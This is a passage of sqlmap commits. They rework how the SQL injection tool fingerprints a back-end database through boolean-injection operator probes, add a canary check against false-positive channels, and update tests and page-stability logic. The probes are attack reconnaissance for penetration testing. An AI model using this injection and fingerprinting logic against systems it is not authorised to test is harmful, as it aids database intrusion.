-3319,15 +3328,7 @@ def aliasToDbmsEnum(dbms): 'Microsoft SQL Server' """ - retVal = None - - if dbms: - for key, item in DBMS_DICT.items(): - if dbms.lower() in item[0] or dbms.lower() == key.lower(): - retVal = key - break - - return retVal + return _DBMS_ALIAS_MAP.get(dbms.lower()) if dbms else None def findDynamicContent(firstPage, secondPage, merge=False): """ @@ -4414,7 +4415,11 @@ def safeSQLIdentificatorNaming(name, isTable=False): if isinstance(name, six.string_types): retVal = getUnicode(name) - _ = isTable and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) + # Resolve the identified DBMS once; it is invariant within this call and + # Backend.getIdentifiedDbms() (which scans DBMS_DICT) was otherwise + # re-evaluated several times below. + dbms = Backend.getIdentifiedDbms() + _ = isTable and dbms in (DBMS.MSSQL, DBMS.SYBASE) if _: retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "%s." % DEFAULT_MSSQL_SCHEMA, retVal) @@ -4424,13 +4429,13 @@ def safeSQLIdentificatorNaming(name, isTable=False): if not conf.noEscape: retVal = unsafeSQLIdentificatorNaming(retVal) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users) + if dbms in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users) retVal = "`%s`" % retVal - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB): + elif dbms in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB): retVal = "\"%s\"" % retVal - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL): + elif dbms in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL): retVal = "\"%s\"" % retVal.upper() - elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): + elif dbms in (DBMS.MSSQL, DBMS.SYBASE): if isTable: parts = retVal.split('.', 1) for i in xrange(len(parts)): @@ -4463,16 +4468,21 @@ def unsafeSQLIdentificatorNaming(name): retVal = name if isinstance(name, six.string_types): - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE): + # Resolve the identified DBMS once; it is invariant within this call, and + # Backend.getIdentifiedDbms() is not cheap (it scans DBMS_DICT). Previously + # it was re-evaluated up to five times per call. + dbms = Backend.getIdentifiedDbms() + + if dbms in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE): retVal = name.replace("`", "") - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB): + elif dbms in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB): retVal = name.replace("\"", "") - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL): + elif dbms in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL): retVal = name.replace("\"", "").upper() - elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): + elif dbms in (DBMS.MSSQL, DBMS.SYBASE): retVal = name.replace("[", "").replace("]", "") - if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): + if dbms in (DBMS.MSSQL, DBMS.SYBASE): retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "", retVal) return retVal diff --git a/lib/core/settings.py b/lib/core/settings.py index 88b61ddd44f..29ce4db1552 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.0" +VERSION = "1.10.7.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/dialect.py b/lib/utils/dialect.py index 3be67eac89d..47f973edcb1 100644 --- a/lib/utils/dialect.py +++ b/lib/utils/dialect.py @@ -28,10 +28,10 @@ # OTHER valid rows, which sqlmap's fuzzy page comparison conflates with the anchor row, producing # false positives. See PROVE_DESIGN.md.) # -# Truth table measured on a live OWASP-CRS platform across 16 engines (MySQL/MySQL5, MariaDB/TiDB, -# PostgreSQL, CockroachDB, CrateDB, Microsoft SQL Server, SQLite, Firebird, ClickHouse, H2, HSQLDB, -# Derby, MonetDB, IRIS, Trino); only the zero-false-positive rules are kept (see _classify). With -# anchor value 2: +# Signatures were measured against every SQL engine on a live OWASP-CRS platform (MySQL/MySQL5, +# MariaDB/TiDB, PostgreSQL, CockroachDB, CrateDB, Microsoft SQL Server, SQLite, Firebird, ClickHouse, +# H2, HSQLDB, Derby, MonetDB, IRIS, Trino) and encoded as an exact-signature WHITELIST in _classify() +# (only measured signatures classify; anything else -> None). With anchor value 2: # # * 2^0=2 -> '^' is bitwise XOR (MySQL/MSSQL/MonetDB: 2^0=2) vs exponentiation (PostgreSQL: 2^0=1) # vs no such operator (SQLite/Oracle/... -> error, so false) @@ -52,57 +52,69 @@ ("shift", "1<<2=4"), ) +# Canary for the trustworthiness gate: a syntactically-invalid expression (a trailing operator) that +# a real SQL back-end can only read as FALSE - the appended clause is a parse error, the query fails, +# no row. A false-positive / noise channel (a WAF, a reflection, or a backend that ignores the +# injected tail and reads every probe the same) reads it as TRUE, which is proof the boolean oracle +# is trash, so the heuristic returns None (a true negative) rather than a bogus DBMS from a +# meaningless signature. It uses a trailing-operator form, distinct from the ' ' no-operator +# form already exercised by sqlmap's earlier false-positive check, so it adds new information. +DIALECT_CANARY = "2+" + +# Exact operator-dialect signature -> back-end DBMS. Strict WHITELIST re-derived from the live +# measurement above: ONLY these signatures classify; any other - an engine not measured here, or a +# false-positive / noise channel - returns None. This deliberately replaces earlier partial-condition +# rules, which would confidently mis-map physically-impossible signatures onto a DBMS (e.g. the +# all-true 'reads everything as true' noise, where '^' would be XOR and exponentiation at once). +_SIGNATURE_DBMS = { + # xor pgpow intdiv bitor shift + (True, False, False, True, True): DBMS.MYSQL, # MySQL / MariaDB / TiDB + (False, True, True, True, True): DBMS.PGSQL, # PostgreSQL + (False, True, False, True, True): DBMS.PGSQL, # CockroachDB (pgwire; has '<<' -> shift True) + (False, True, True, True, False): DBMS.PGSQL, # CrateDB + (True, False, True, True, False): DBMS.MSSQL, # Microsoft SQL Server (no bit-shift) + (True, False, True, True, True): DBMS.MONETDB, # MonetDB (as MSSQL but has '<<') + (False, False, True, True, True): DBMS.SQLITE, # SQLite +} + def _classify(signature): """ - Maps a measured (xor, pgpow, intdiv, bitor) operator-dialect signature to a back-end - DBMS, or returns None when the signature does not *uniquely* identify a major DBMS (so - detection proceeds unchanged - the heuristic never wrong-foots the scan). - - Rules below are the subset of the measured 11-engine truth table that maps with zero - false positives. Engines whose operator profile is not distinctive enough (Oracle's - all-false signature, which a minimal engine like ClickHouse/H2/Firebird/HSQLDB/Derby or - a fully WAF-blocked channel also produces) deliberately fall through to None: + Maps an exact operator-dialect signature (xor, pgpow, intdiv, bitor, shift) to a back-end DBMS + through a strict whitelist of live-measured signatures, or returns None when the signature is not + a known DBMS fingerprint - an engine not measured, or a noise / false-positive channel - so + detection proceeds unchanged and the heuristic never wrong-foots the scan. - >>> _classify((True, False, False, True, True)) # MySQL / MariaDB / TiDB + >>> _classify((True, False, False, True, True)) # MySQL / MariaDB / TiDB 'MySQL' - >>> _classify((True, False, True, True, False)) # Microsoft SQL Server (no bit-shift) - 'Microsoft SQL Server' - >>> _classify((True, False, True, True, True)) # MonetDB (same xor/intdiv as MSSQL, but has '<<') - 'MonetDB' - >>> _classify((False, True, True, True, False)) # PostgreSQL + >>> _classify((False, True, True, True, True)) # PostgreSQL + 'PostgreSQL' + >>> _classify((False, True, False, True, True)) # CockroachDB -> PostgreSQL family 'PostgreSQL' - >>> _classify((False, True, False, True, False)) # CockroachDB (pgwire) -> PostgreSQL family + >>> _classify((False, True, True, True, False)) # CrateDB -> PostgreSQL family 'PostgreSQL' - >>> _classify((False, False, True, True, True)) # SQLite + >>> _classify((True, False, True, True, False)) # Microsoft SQL Server (no bit-shift) + 'Microsoft SQL Server' + >>> _classify((True, False, True, True, True)) # MonetDB (as MSSQL but has '<<') + 'MonetDB' + >>> _classify((False, False, True, True, True)) # SQLite 'SQLite' - >>> _classify((False, False, True, False, False)) is None # Firebird/HSQLDB/Derby/H2/Trino -> no prior + >>> _classify((True, True, True, True, True)) is None # 'reads everything true' noise -> None + True + >>> _classify((False, False, False, False, False)) is None # all-false (Oracle/ClickHouse/IRIS/blocked) -> None True - >>> _classify((False, False, False, False, False)) is None # all-false (Oracle/ClickHouse/IRIS/blocked) -> no prior + >>> _classify((False, False, True, False, False)) is None # Firebird/H2/HSQLDB/Derby/Trino -> not distinctive True """ - xor, pgpow, intdiv, bitor, shift = signature - - if pgpow: # '^' is exponentiation -> PostgreSQL family - return DBMS.PGSQL - if xor and intdiv: # '^' is XOR AND integer division -> SQL Server ... - # ... except MonetDB shares this exact signature; it alone has a working bit-shift operator - # ('1<<2=4'), SQL Server has none -> split the collision (measured zero-FP across 16 engines). - return DBMS.MONETDB if shift else DBMS.MSSQL - if xor and not intdiv: # '^' is XOR AND real division -> MySQL family - return DBMS.MYSQL - if not xor and intdiv and bitor: # no '^', integer division, bitwise '|' -> SQLite - return DBMS.SQLITE - - return None + return _SIGNATURE_DBMS.get(tuple(bool(_) for _ in signature)) def dialectCheckDbms(injection): """ Keyword-free back-end DBMS heuristic via operator-dialect differentials, evaluated through the given (boolean-capable) injection. Complements heuristicCheckDbms() - which is skipped when the WAF/IPS is dropping requests and otherwise relies on SELECT/quote payloads - because every probe - here is built from operator semantics alone. Returns the DBMS name or None; an ambiguous or - WAF-blocked channel yields None, leaving the scan unchanged. + here is built from operator semantics alone. Returns the DBMS name or None; an ambiguous, + WAF-blocked or false-positive channel yields None, leaving the scan unchanged. """ retVal = None @@ -114,9 +126,12 @@ def dialectCheckDbms(injection): kb.injection = injection try: - # channel sanity: a tautology must read TRUE and a contradiction FALSE, otherwise the - # boolean oracle is unreliable and the all-false signature (Oracle-like) would be meaningless - if checkBooleanExpression("2=2") and not checkBooleanExpression("2=3"): + # Trustworthiness gate: a real boolean oracle reads a tautology TRUE, a contradiction FALSE, + # and a syntactically-invalid canary FALSE (the appended clause is a parse error -> the query + # fails). A false-positive / noise channel reads them all alike - the canary as TRUE - which + # is proof the oracle is trash, so classification is skipped (a true negative) instead of + # emitting a bogus DBMS from a meaningless signature. + if checkBooleanExpression("2=2") and not checkBooleanExpression("2=3") and not checkBooleanExpression(DIALECT_CANARY): signature = tuple(bool(checkBooleanExpression(expr)) for _, expr in DIALECT_PROBES) retVal = _classify(signature) finally: diff --git a/tests/test_dialectdbms.py b/tests/test_dialectdbms.py index 5dc28ac98d1..040d80b1a6e 100644 --- a/tests/test_dialectdbms.py +++ b/tests/test_dialectdbms.py @@ -4,13 +4,13 @@ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission -Operator-dialect DBMS heuristic (lib/utils/dialect.py). These lock in the empirical truth -table: the (xor, intdiv, pgcast, bitor) operator signatures measured across 11 live engines -on an OWASP-CRS test platform, asserting that _classify() maps each to the expected back-end -DBMS - and, just as importantly, that the engines whose signatures collide or are ambiguous -map to None (no prior), so the heuristic never wrong-foots detection. The end-to-end behaviour -(the probes producing these signatures through a real boolean injection) is exercised against -the live platform, not here. +Operator-dialect DBMS heuristic (lib/utils/dialect.py). These lock in the empirical truth table: +the full 5-probe (2^0=2, 2^3=8, 5/2=2, 2|0=2, 1<<2=4) operator signatures measured across the live +SQL engines on an OWASP-CRS test platform, asserting _classify() maps each EXACT signature to the +expected back-end DBMS via its whitelist - and, just as importantly, that anything else (an +unmeasured engine, an ambiguous signature, or a physically-impossible / noise signature) maps to +None, so the heuristic never wrong-foots detection. The end-to-end behaviour (the probes producing +these signatures through a real boolean injection) is exercised against the live platform, not here. """ import os @@ -26,78 +26,80 @@ from lib.core.enums import DBMS from lib.utils.dialect import _classify from lib.utils.dialect import dialectCheckDbms +from lib.utils.dialect import DIALECT_CANARY -# measured 2026-06 across the sqli-platform (boolean form "id=2 AND ", anchor value 2); -# base signature = (2^0=2, 2^3=8, 5/2=2, 2|0=2). The 5th probe (1<<2=4, bit-shift) is the MonetDB-vs- -# SQL Server disambiguator and is asserted separately (SHIFT_SENSITIVE); for every other engine the -# shift flag does NOT change the classification, which the test proves by trying it both ways. +# Full 5-probe signature (2^0=2, 2^3=8, 5/2=2, 2|0=2, 1<<2=4) measured live -> expected DBMS. +# Every bit is significant now (whitelist): e.g. MySQL/PostgreSQL/... all have a working '<<', so +# shift=True is part of their signature; a one-bit-off variant is simply not a known fingerprint. MEASURED = { - "mysql": ((True, False, False, True), DBMS.MYSQL), - "mysql5": ((True, False, False, True), DBMS.MYSQL), - "tidb": ((True, False, False, True), DBMS.MYSQL), # MySQL wire-compatible - "postgres": ((False, True, True, True), DBMS.PGSQL), - "cockroach": ((False, True, False, True), DBMS.PGSQL), # pgwire (exponent '^', decimal division) - "cratedb": ((False, True, True, True), DBMS.PGSQL), # pgwire family - "sqlite": ((False, False, True, True), DBMS.SQLITE), + "mysql": ((True, False, False, True, True), DBMS.MYSQL), + "mysql5": ((True, False, False, True, True), DBMS.MYSQL), + "tidb": ((True, False, False, True, True), DBMS.MYSQL), # MySQL wire-compatible + "postgres": ((False, True, True, True, True), DBMS.PGSQL), + "cockroach": ((False, True, False, True, True), DBMS.PGSQL), # pgwire (exponent '^', decimal division, has '<<') + "cratedb": ((False, True, True, True, False), DBMS.PGSQL), # pgwire family (no '<<') + "mssql": ((True, False, True, True, False), DBMS.MSSQL), # '^' XOR, integer division, NO bit-shift + "monetdb": ((True, False, True, True, True), DBMS.MONETDB), # shares MSSQL base but HAS '<<' + "sqlite": ((False, False, True, True, True), DBMS.SQLITE), # not distinctive enough -> deliberately no prior (operators alone can't safely separate these) - "firebird": ((False, False, True, False), None), - "hsqldb": ((False, False, True, False), None), # collides with firebird/derby/h2 - "derby": ((False, False, True, False), None), - "h2": ((False, False, True, False), None), - "trino": ((False, False, True, False), None), - "iris": ((False, False, False, False), None), # all-error, like Oracle/broken channel - "clickhouse": ((False, False, False, False), None), # all-error, like Oracle/broken channel -} - -# engines whose full 5-probe signature (incl. 1<<2=4) is needed because they share base-4 (xor,intdiv) -# and only the bit-shift probe separates them: SQL Server has no shift operator, MonetDB does. -SHIFT_SENSITIVE = { - "mssql": ((True, False, True, True, False), DBMS.MSSQL), - "monetdb": ((True, False, True, True, True), DBMS.MONETDB), + "firebird": ((False, False, True, False, False), None), + "hsqldb": ((False, False, True, False, False), None), # collides with firebird/derby/h2/trino + "derby": ((False, False, True, False, False), None), + "h2": ((False, False, True, False, False), None), + "trino": ((False, False, True, False, False), None), + "iris": ((False, False, False, False, False), None), # all-error, like Oracle/broken channel + "clickhouse": ((False, False, False, False, False), None), # all-error, like Oracle/broken channel } class TestDialectClassification(unittest.TestCase): - def test_shift_sensitive_engines_split_correctly(self): - # MonetDB shared MSSQL's (xor, intdiv) signature exactly (a false positive before the shift - # probe); 1<<2=4 (MonetDB only) now separates them. - for engine, (signature, expected) in SHIFT_SENSITIVE.items(): + def test_measured_engines_map_as_expected(self): + # each engine's exact measured 5-probe signature maps to its expected DBMS (or None) + for engine, (signature, expected) in MEASURED.items(): self.assertEqual(_classify(signature), expected, "engine %r misclassified" % engine) - def test_measured_engines_map_as_expected(self): - # for non-shift-sensitive engines the shift flag is irrelevant: assert BOTH values map to the - # expected DBMS (proves the new probe never perturbs the existing classifications). - for engine, (base, expected) in MEASURED.items(): - for shift in (False, True): - self.assertEqual(_classify(base + (shift,)), expected, "engine %r misclassified (shift=%s)" % (engine, shift)) - - def test_no_false_positive_across_measured_set(self): - # non-collision property: every measured engine maps to EXACTLY its expected DBMS (or None), - # never to some other back-end. The shift flag is irrelevant for these (non-shift-sensitive) - # engines, so assert it both ways. - for engine, (base, expected) in MEASURED.items(): - for shift in (False, True): - result = _classify(base + (shift,)) - self.assertEqual(result, expected, "engine %r misclassified (shift=%s): got %r, expected %r" % (engine, shift, result, expected)) - # the only non-None DBMS priors the measured set can yield (sanity on the mapping itself) - produced = set(expected for _, expected in MEASURED.values() if expected is not None) - self.assertEqual(produced, {DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE}) + def test_shift_splits_monetdb_from_mssql(self): + # MonetDB shares MSSQL's (xor, intdiv) base exactly (a false positive before the shift probe); + # 1<<2=4 (MonetDB has it, SQL Server never does) is the sole separator. + self.assertEqual(_classify((True, False, True, True, False)), DBMS.MSSQL) + self.assertEqual(_classify((True, False, True, True, True)), DBMS.MONETDB) + + def test_whitelist_is_exact_no_false_positive(self): + # only the measured classifying signatures may yield a DBMS; everything else -> None. + classifying = set(sig for sig, exp in MEASURED.values() if exp is not None) + produced = set(exp for _, exp in MEASURED.values() if exp is not None) + self.assertEqual(produced, {DBMS.MYSQL, DBMS.PGSQL, DBMS.MSSQL, DBMS.MONETDB, DBMS.SQLITE}) + # exhaustively sweep all 32 signatures: a non-None result is allowed ONLY for a measured one + for bits in range(32): + sig = tuple(bool(bits & (1 << i)) for i in range(5)) + result = _classify(sig) + if sig not in classifying: + self.assertIsNone(result, "unmeasured signature %r wrongly mapped to %r" % (sig, result)) + + def test_all_true_noise_is_rejected(self): + # a channel that reads EVERY probe true (a static/reflected page, or a WAF/false-positive + # oracle) produces the all-true signature - physically impossible ('^' cannot be XOR and + # exponentiation at once). It must NOT be guessed (previously it mis-read as PostgreSQL). + self.assertIsNone(_classify((True, True, True, True, True))) def test_all_error_signature_yields_no_prior(self): - # an all-error signature (Oracle, ClickHouse, IRIS, or simply a WAF-blocked channel) is not - # distinctive enough - it must NOT be guessed as any DBMS + # an all-error signature (Oracle, ClickHouse, IRIS, or a WAF-blocked channel) is not + # distinctive - it must NOT be guessed as any DBMS self.assertIsNone(_classify((False, False, False, False, False))) self.assertIsNone(_classify((False, False, False, False, True))) - def test_pgpow_dominates_as_postgres_marker(self): - # exponentiation '^' is a positive PostgreSQL-family marker regardless of division flavour - self.assertEqual(_classify((False, True, True, True, False)), DBMS.PGSQL) - self.assertEqual(_classify((False, True, False, True, False)), DBMS.PGSQL) + def test_pgpow_alone_is_not_enough(self): + # exponentiation '^' is a PostgreSQL marker, but pgpow ALONE no longer classifies: the full + # signature must match a measured PostgreSQL fingerprint (this is what stops the all-true noise + # from riding the old 'pgpow dominates' rule into a bogus PostgreSQL claim). + self.assertEqual(_classify((False, True, True, True, True)), DBMS.PGSQL) # real PostgreSQL + self.assertIsNone(_classify((True, True, False, False, False))) # pgpow set, but not a real signature class TestDialectCheckDbmsGuard(unittest.TestCase): - """dialectCheckDbms() end-to-end with a mocked boolean oracle: correct DBMS on a good - channel, and None (no prior) whenever the channel is unreliable - the safety contract.""" + """dialectCheckDbms() end-to-end with a mocked boolean oracle: correct DBMS on a good channel, + and None (no prior) whenever the channel is unreliable - the safety contract, including the + canary that turns a trashy false-positive channel into a true negative.""" def _run(self, truth): # truth: {expression: bool} simulating checkBooleanExpression through a confirmed injection @@ -111,11 +113,13 @@ def _run(self, truth): kb.injection = saved def test_identifies_mysql_on_good_channel(self): - truth = {"2=2": True, "2=3": False, "2^0=2": True, "2^3=8": False, "5/2=2": False, "2|0=2": True} + truth = {"2=2": True, "2=3": False, DIALECT_CANARY: False, + "2^0=2": True, "2^3=8": False, "5/2=2": False, "2|0=2": True, "1<<2=4": True} self.assertEqual(self._run(truth), DBMS.MYSQL) def test_identifies_postgres_on_good_channel(self): - truth = {"2=2": True, "2=3": False, "2^0=2": False, "2^3=8": True, "5/2=2": True, "2|0=2": True} + truth = {"2=2": True, "2=3": False, DIALECT_CANARY: False, + "2^0=2": False, "2^3=8": True, "5/2=2": True, "2|0=2": True, "1<<2=4": True} self.assertEqual(self._run(truth), DBMS.PGSQL) def test_none_on_blocked_channel(self): @@ -124,7 +128,16 @@ def test_none_on_blocked_channel(self): def test_none_on_static_channel(self): # a static page reads everything True, so the contradiction 2=3 is True -> sanity fails -> None - self.assertIsNone(self._run({"2=2": True, "2=3": True, "2^0=2": True, "2^3=8": True, "5/2=2": True, "2|0=2": True})) + self.assertIsNone(self._run({"2=2": True, "2=3": True, DIALECT_CANARY: True, + "2^0=2": True, "2^3=8": True, "5/2=2": True, "2|0=2": True, "1<<2=4": True})) + + def test_none_when_canary_reads_true(self): + # THE canary contract: a channel can look like a clean oracle (2=2 true, 2=3 false) and even + # yield a DBMS-shaped signature, but if the syntactically-invalid canary also reads TRUE the + # channel accepts garbage -> it is a false positive -> return None (true negative), never a DBMS. + truth = {"2=2": True, "2=3": False, DIALECT_CANARY: True, + "2^0=2": True, "2^3=8": False, "5/2=2": False, "2|0=2": True, "1<<2=4": True} # would be MySQL + self.assertIsNone(self._run(truth)) if __name__ == "__main__": From 8a75c0bb6253a7f196a0ca6422a57c031200ef72 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 1 Jul 2026 11:06:39 +0200 Subject: [PATCH 659/853] Minor patch --- data/txt/sha256sums.txt | 4 ++-- lib/controller/checks.py | 42 +++++++++++++++++++++------------------- lib/core/settings.py | 2 +- 3 files changed, 25 insertions(+), 23 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 342609ae645..ec1d82ff0a9 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -162,7 +162,7 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py 617cec1b731e0baacafa6f58c2f56a85b6128d1416627cc1b2f61519c8539a2e extra/vulnserver/vulnserver.py a2bf70d7f87c3a4e0675c0bad54119a4e04efa6ea2730a8338d5aebcd995630e lib/controller/action.py -6f3198df20330b6ff0eb7f615082ca7046e6887ac5d3e5df3598d36f66724e01 lib/controller/checks.py +736715a73941a06e5d3d349dd01a1f1b171f54eb4c374c6752b2cc44b0977ffe lib/controller/checks.py 666935b658074dc9c42153622b75d4ec7bfe56fbe0742de827a5d30a1a0f9d96 lib/controller/controller.py d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py @@ -189,7 +189,7 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -b38aa7769be9d31f2d55172a992732f506f05fba49d6a170eb9485f78da7c360 lib/core/settings.py +2f4c7044d36e183fcb0a019d82ccbc7222abab1878454c479df9e89d23430733 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 95417492c3c..a7200e3e320 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1289,6 +1289,27 @@ def checkDynamicContent(firstPage, secondPage): count += 1 if count > conf.retries: + # Last resort before the (lossy) '--text-only' fallback: if the page is byte-unstable + # but STRUCTURALLY stable - an identical, non-empty tag/class/id skeleton across + # requests - base the comparison on that value-free structure instead. Dynamic text + # (e.g. per-render result rows) then no longer masks an injection whose signal is + # structural (the HTML counterpart of the structure-aware JSON comparison). Content + # with no usable structure (empty skeleton, e.g. random/binary bodies) falls through + # to '--text-only' as before. + skeleton = extractStructuralTokens(firstPage) + if skeleton and skeleton == extractStructuralTokens(secondPage): + kb.pageStructurallyStable = True + + if kb.nullConnection: + debugMsg = "turning off NULL connection support because of structural page comparison" + logger.debug(debugMsg) + kb.nullConnection = None + + infoMsg = "target URL content is not byte-stable but structurally stable; sqlmap " + infoMsg += "will base the page comparison on the page structure" + logger.info(infoMsg) + return + warnMsg = "target URL content appears to be too dynamic. " warnMsg += "Switching to '--text-only' " logger.warning(warnMsg) @@ -1394,26 +1415,7 @@ def checkStability(): raise SqlmapNoneDataException(errMsg) else: - # Before engaging the (lossy) dynamic-content removal / '--text-only' escalation, check - # whether the page is structurally stable (identical tag/class/id skeleton across the two - # requests) despite differing text. If so, base the comparison on that value-free structure - # so that dynamic content (e.g. per-render result rows) does not mask an injection. This is - # the HTML counterpart of the structure-aware JSON comparison - if firstPage and secondPage and extractStructuralTokens(firstPage) == extractStructuralTokens(secondPage): - kb.pageStructurallyStable = True - - if kb.nullConnection: - debugMsg = "turning off NULL connection " - debugMsg += "support because of structural page comparison" - logger.debug(debugMsg) - - kb.nullConnection = None - - infoMsg = "target URL content is not byte-stable but structurally stable; sqlmap " - infoMsg += "will base the page comparison on the page structure" - logger.info(infoMsg) - else: - checkDynamicContent(firstPage, secondPage) + checkDynamicContent(firstPage, secondPage) return kb.pageStable diff --git a/lib/core/settings.py b/lib/core/settings.py index 29ce4db1552..c3180e4474c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.1" +VERSION = "1.10.7.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 39ba1bc00e8ecab79aaed63596de028b1a5c8978 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 1 Jul 2026 12:21:11 +0200 Subject: [PATCH 660/853] Adding custom/own support for HTTP2 --- data/txt/sha256sums.txt | 7 +- lib/core/settings.py | 2 +- lib/request/connect.py | 44 +--- lib/request/http2.py | 544 ++++++++++++++++++++++++++++++++++++++++ lib/utils/deps.py | 10 - 5 files changed, 560 insertions(+), 47 deletions(-) create mode 100644 lib/request/http2.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index ec1d82ff0a9..68ae7e13fe3 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -2f4c7044d36e183fcb0a019d82ccbc7222abab1878454c479df9e89d23430733 lib/core/settings.py +35c24cf138fdd68add3c8f6274d6ff735b5209c84eec635ba316f986b67325ef lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 